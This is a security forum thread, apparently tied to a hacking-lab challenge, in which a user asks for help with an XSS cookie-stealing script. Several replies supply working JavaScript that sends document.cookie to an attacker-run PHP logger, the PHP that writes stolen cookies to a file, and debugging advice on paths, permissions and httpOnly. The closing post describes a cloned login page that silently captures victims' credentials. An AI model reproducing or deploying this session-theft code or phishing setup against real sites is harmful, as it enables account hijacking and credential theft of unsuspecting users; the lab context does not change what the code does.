need a little help with a cookie grab script…

Viewing 10 reply threads
  • Author
    Posts
    • #7500
      wlandymore
      Participant

      Hey, I’m testing something out on my local machine and it seems like it’s working 95% but I can’t get it to write my cookies to the file I’ve set for it. I have a php script on my server with a text file it can write to and then I’m loading an html file with the

      This page is a test

      And then that goes to my php file:
      $cookie = $HTTP_GET_VARS["c"];
      $file = fopen('cookielog.txt', 'a');
      fwrite($file, $cookie . "nn");
      echo "";
      ?>

      So this seems to work on the surface because it's redirecting me to google like I wanted, but it won't write the cookie information from the browser to the "cookielog.txt" file that's in the same directory.

      Can anyone see what I'm missing?

    • #46777
      dynamik
      Participant

      Are you ever setting a cookie?

      What do you see when you load this html page in a browser?



      alert(document.cookie)


      This page is a test


      Also, I assume the $ in your code is supposed to be . It doesn’t look like that pasted correctly.

    • #46778
      wlandymore
      Participant

      I got the pop up window and then when you click ‘ok’ it disappears and you see the ‘test’ message.

      Yeah, that $ was because I was in ‘nano’ and the line hadn’t wrapped. The code should be:

      document.location= “win.php?c=” + document.cookie;

      This page is a test

      I had that same code you used to test it out first and this OS i’m using is vulnerable to this type of code where I would be able to swipe the cookies from the browser and then write them to a file, but I’m missing something. I got it working where it was writing out the string with the IP and then cookie= (and it wouldn’t write a cookie because I’m not giving it one), but when I went to the URL that had cookies it did the same thing.

      Right now with my current code the forwarding is working but it won’t pop open the cookielog.txt file and write the information in there that I need…

    • #46779
      dynamik
      Participant

      $HTTP_GET_VARS might work differently. It’s been deprecated and replaced with $_GET.





      document.cookie="test=1234";
      document.location= "win.php?c=" + document.cookie



      This page is a test





      <?php
      $cookie = $_GET["c"];
      $file = fopen('cookielog.txt', 'a');
      fwrite($file, $cookie . "nn");
      echo "location.href='http://www.google.com';";
      ?>



      cookielog.txt:

      test=1234

      Edit: it looks like $HTTP_GET_VARS has been disabled by default since 5.0.3. In the future, try using print_r($array) to troubleshoot; that’ll give you a quick peak at everything that’s in $_POST, $_GET, or $_REQUEST (both combined).

    • #46780
      wlandymore
      Participant

      it definitely writes the 1234 to the file if it’s defined explicitly, but if you don’t have that there it won’t scrape out the session cookie like I need. I’ll keep on messing around with it and see if I can get more information in the file.

      Thanks.

    • #46781
      dynamik
      Participant

      Where is the session cookie coming from?

      Are you going across domain boundaries?

    • #46782
      wlandymore
      Participant

      yeah, it would be I guess.

      It works if I go to the message board and put in:
      alert(document.cookie);

      and then post it. It will show me the cookie session etc, but I need some way really to use just javascript to then write this to a file or something. That’s what I was trying to do before because I just have a little test site setup and then I’m trying to capture the cookie and send it out to that other file. Basically taking the cookie from the session on tespage.com and then sending it to capture.com.

      I would totally agree that normally this shouldn’t be possible but in this case I’m attacking a server that I know is vulnerable…

    • #46783
      wlandymore
      Participant

      what about a POST method?

      So if I get a valid session and then click on a link that’s embedded into that site which takes me to the malicious site that loads a POST method right away going back to the original site to get the cookie…would that work?

      And if so, what kind of options would I have for getting this to work?

    • #46784
      Gromic
      Participant

      Hi wlandymore, hi ajohnson

      The following code (cookie_site.html and cookiestealer.php  ) should work (Seems that you just missed a / before your stealer script redirect in your html page).

      I tested it via a xampp setup and it worked.

      Just throw both of the files into your XAMPP htdocs.

      file: cookie_site.html



         
          document.cookie = "Test123";
         
       
          This page is a test
          alert(document.cookie)
          document.location = "/cookiestealer.php?cookie=" + document.cookie;
       

      file: cookiestealer.php


      <?php
        $cookie = $_GET;
        $log = fopen("cookielog.txt", "a");
        fwrite($log, $cookie ."n");
        fclose($log);
      ?>

      Note:

      • So far, page and stealer.php run on the same server (I know…not intended). When you move your stealer.php to another server you have to adjust your path i.e. “http:///cookiestealer.php?cookie=” … and so on..
      • One more tip: When debugging your scripts make sure you delete your browsers cache each time… very often I changed something but my browser (Chrome) showed me still the old results  ;D
      • cross domain issues should’t be a problem since as far as I understood the idea was to place the “stealer script” on a site which is vuln to XSS and steal the cookies related to THIS site, right? If you want to read cookies of another domain you run into “same orgin” issues..

      Hope this helps and works for you.

    • #46785
      MaXe
      Participant

      Okay here’s a few things you should make sure of.

      1. Since you’re using fopen(), in some cases (but not this), make sure you read the “manual” http://php.net/manual/en/function.fopen.php (People tend to set the wrong “flag”, but ‘a’ is 100% correct in this case.

      2. If the cookielog.txt file isn’t created, what are the permissions for that particular directory? (644 would most likely not work, 755 would work, but this depends on who is set to own the directory as well.)
      If the file is created, is the file cookielog.txt set to be writeable? (Otherwise nothing will be written to this file.)

      3. More importantly, is the cookie you’re trying to steal, httpOnly? Can you read it with alert(document.cookie) ? If yes, you should be able to steal it too then.

      4. document.location = “/cookiestealer.php?cookie=” + document.cookie;
      Make sure to include the full path, do not use “/cookiestealer.php” unless you’re on the exact same server AND directory. Otherwise, you may end up trying to write to the wrong file. Use an intercepting proxy to see if your HTTP requests are going the right place.

      Even though it seems like you did everything right, except perhaps giving cookielog.txt the right file permissions, or that the cookies could be httpOnly. (I haven’t read all of the replies, sorry. 🙂 )

    • #46786
      wlandymore
      Participant

      Hey, thanks for all the tips guys.

      I ended up doing something slightly different last night because I couldn’t make this one work at the time. I actually created a replica of the site itself and then posted the link to the forum like before. This said there was a problem with their login, except in this case I was using a POST method on the form to post it to the file. It worked well and then I was able to do it in the background and direct the user to the new site that the link was supposed to be for, all invisible to the ‘victim’.

      This was part of a hacking-lab challenge so I don’t know if they’ll be okay with that route but it seems like it’s doing exactly the same thing because I’m forwarding the victim to my site, getting the information and then sending them on.

      However, I’ll still give the tips you posted a try so I’m familiar with that way too. Thanks again.

Viewing 10 reply threads
  • You must be logged in to reply to this topic.

Copyright ©2021 Caendra, Inc.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.

Sending

Sign in with Caendra

Forgot password?Sign up

Forgot your details?